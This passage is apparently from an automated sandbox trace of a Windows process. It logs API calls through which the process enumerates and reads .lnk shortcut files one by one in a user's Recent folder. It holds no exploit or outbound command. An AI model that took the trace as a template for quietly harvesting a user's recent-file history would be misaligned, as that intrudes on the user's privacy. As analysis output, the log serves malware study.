out: lpBuffer=0x455c1d0*, lpNumberOfBytesRead=0x18e2f8*=0x1a6e, lpOverlapped=0x0) returned 1 [0076.547] CloseHandle (hObject=0x3f8) returned 1 [0076.548] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.548] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be59ec0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9be59ec0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9be59ec0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x19b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="7rSet.lnk", cAlternateFileName="")) returned 1 [0076.548] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6 XGwY-lUt_VoBNPc3ul.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\7rSet.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\7rSet.lnk") returned 1 [0076.548] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\7rSet.lnk", len=0x51 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\7rSet.lnk") returned 1 [0076.548] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\7rSet.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\7rSet.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\7rSet.lnk") returned 1 [0076.548] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7rSet.lnk", len=0x50 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7rSet.lnk") returned 1 [0076.548] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\7rSet.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7rSet.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7rSet.lnk") returned 1 [0076.548] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7rSet.lnk", len=0x50 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7rSet.lnk") returned 1 [0076.548] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7rSet.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7rSet.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7rSet.lnk") returned 1 [0076.548] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7rSet.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\7rset.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.548] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x19b8 [0076.548] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c08c, nNumberOfBytesToRead=0x19b8, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c08c*, lpNumberOfBytesRead=0x18e2f8*=0x19b8, lpOverlapped=0x0) returned 1 [0076.549] CloseHandle (hObject=0x3f8) returned 1 [0076.549] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.549] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf4fb80, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cf4fb80, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cf75ce0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x14a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="953NwS YORsJs8ezCX.lnk", cAlternateFileName="953NWS~1.LNK")) returned 1 [0076.549] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7rSet.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\953NwS YORsJs8ezCX.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\953NwS YORsJs8ezCX.lnk") returned 1 [0076.549] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\953NwS YORsJs8ezCX.lnk", len=0x5e | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\953NwS YORsJs8ezCX.lnk") returned 1 [0076.549] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\953NwS YORsJs8ezCX.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\953NwS YORsJs8ezCX.lnk", len=0x5e | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\953NwS YORsJs8ezCX.lnk") returned 1 [0076.550] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\953NwS YORsJs8ezCX.lnk", len=0x5d | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\953NwS YORsJs8ezCX.lnk") returned 1 [0076.550] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\953NwS YORsJs8ezCX.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\953NwS YORsJs8ezCX.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\953NwS YORsJs8ezCX.lnk") returned 1 [0076.550] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\953NwS YORsJs8ezCX.lnk", len=0x5d | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\953NwS YORsJs8ezCX.lnk") returned 1 [0076.550] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\953NwS YORsJs8ezCX.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\953NwS YORsJs8ezCX.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\953NwS YORsJs8ezCX.lnk") returned 1 [0076.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\953NwS YORsJs8ezCX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\953nws yorsjs8ezcx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.550] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x14a9 [0076.550] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c0f8, nNumberOfBytesToRead=0x14a9, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c0f8*, lpNumberOfBytesRead=0x18e2f8*=0x14a9, lpOverlapped=0x0) returned 1 [0076.551] CloseHandle (hObject=0x3f8) returned 1 [0076.551] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.551] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d249700, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d249700, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d249700, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xa4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="9oBPh66lU7Zt.lnk", cAlternateFileName="9OBPH6~1.LNK")) returned 1 [0076.551] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\953NwS YORsJs8ezCX.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\9oBPh66lU7Zt.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\9oBPh66lU7Zt.lnk") returned 1 [0076.551] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\9oBPh66lU7Zt.lnk", len=0x58 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\9oBPh66lU7Zt.lnk") returned 1 [0076.551] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\9oBPh66lU7Zt.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\9oBPh66lU7Zt.lnk", len=0x58 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\9oBPh66lU7Zt.lnk") returned 1 [0076.551] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9oBPh66lU7Zt.lnk", len=0x57 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9oBPh66lU7Zt.lnk") returned 1 [0076.551] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\9oBPh66lU7Zt.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9oBPh66lU7Zt.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9oBPh66lU7Zt.lnk") returned 1 [0076.551] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9oBPh66lU7Zt.lnk", len=0x57 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9oBPh66lU7Zt.lnk") returned 1 [0076.551] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9oBPh66lU7Zt.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9oBPh66lU7Zt.lnk", len=0x57 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9oBPh66lU7Zt.lnk") returned 1 [0076.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9oBPh66lU7Zt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\9obph66lu7zt.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.552] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xa4d [0076.552] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c158, nNumberOfBytesToRead=0xa4d, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c158*, lpNumberOfBytesRead=0x18e2f8*=0xa4d, lpOverlapped=0x0) returned 1 [0076.552] CloseHandle (hObject=0x3f8) returned 1 [0076.552] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.553] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf038c0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cf038c0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cf038c0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x14ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="a09hCY1lv p_IZ98.lnk", cAlternateFileName="A09HCY~1.LNK")) returned 1 [0076.553] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9oBPh66lU7Zt.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a09hCY1lv p_IZ98.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a09hCY1lv p_IZ98.lnk") returned 1 [0076.553] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a09hCY1lv p_IZ98.lnk", len=0x5c | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a09hCY1lv p_IZ98.lnk") returned 1 [0076.553] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a09hCY1lv p_IZ98.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a09hCY1lv p_IZ98.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a09hCY1lv p_IZ98.lnk") returned 1 [0076.553] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a09hCY1lv p_IZ98.lnk", len=0x5b | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a09hCY1lv p_IZ98.lnk") returned 1 [0076.553] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a09hCY1lv p_IZ98.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a09hCY1lv p_IZ98.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a09hCY1lv p_IZ98.lnk") returned 1 [0076.553] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a09hCY1lv p_IZ98.lnk", len=0x5b | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a09hCY1lv p_IZ98.lnk") returned 1 [0076.553] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a09hCY1lv p_IZ98.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a09hCY1lv p_IZ98.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a09hCY1lv p_IZ98.lnk") returned 1 [0076.553] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a09hCY1lv p_IZ98.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\a09hcy1lv p_iz98.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.553] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x14ee [0076.553] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c1c4, nNumberOfBytesToRead=0x14ee, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c1c4*, lpNumberOfBytesRead=0x18e2f8*=0x14ee, lpOverlapped=0x0) returned 1 [0076.554] CloseHandle (hObject=0x3f8) returned 1 [0076.554] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.554] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9deeebe0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9deeebe0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9df14d40, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x14f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="a51sNIVKR E3Ge8fV.lnk", cAlternateFileName="A51SNI~1.LNK")) returned 1 [0076.554] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a09hCY1lv p_IZ98.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a51sNIVKR E3Ge8fV.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a51sNIVKR E3Ge8fV.lnk") returned 1 [0076.554] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a51sNIVKR E3Ge8fV.lnk", len=0x5d | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a51sNIVKR E3Ge8fV.lnk") returned 1 [0076.554] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a51sNIVKR E3Ge8fV.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a51sNIVKR E3Ge8fV.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a51sNIVKR E3Ge8fV.lnk") returned 1 [0076.554] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a51sNIVKR E3Ge8fV.lnk", len=0x5c | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a51sNIVKR E3Ge8fV.lnk") returned 1 [0076.555] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\a51sNIVKR E3Ge8fV.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a51sNIVKR E3Ge8fV.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a51sNIVKR E3Ge8fV.lnk") returned 1 [0076.555] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a51sNIVKR E3Ge8fV.lnk", len=0x5c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a51sNIVKR E3Ge8fV.lnk") returned 1 [0076.555] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a51sNIVKR E3Ge8fV.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a51sNIVKR E3Ge8fV.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a51sNIVKR E3Ge8fV.lnk") returned 1 [0076.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a51sNIVKR E3Ge8fV.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\a51snivkr e3ge8fv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.555] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x14f5 [0076.555] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c230, nNumberOfBytesToRead=0x14f5, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c230*, lpNumberOfBytesRead=0x18e2f8*=0x14f5, lpOverlapped=0x0) returned 1 [0076.556] CloseHandle (hObject=0x3f8) returned 1 [0076.556] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.556] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4d0e60, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d4d0e60, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d4d0e60, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x1480, dwReserved0=0x0, dwReserved1=0x0, cFileName="A8IAMc.lnk", cAlternateFileName="")) returned 1 [0076.556] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a51sNIVKR E3Ge8fV.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\A8IAMc.lnk", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\A8IAMc.lnk") returned 1 [0076.556] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\A8IAMc.lnk", len=0x52 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\A8IAMc.lnk") returned 1 [0076.556] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\A8IAMc.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\A8IAMc.lnk", len=0x52 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\A8IAMc.lnk") returned 1 [0076.556] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A8IAMc.lnk", 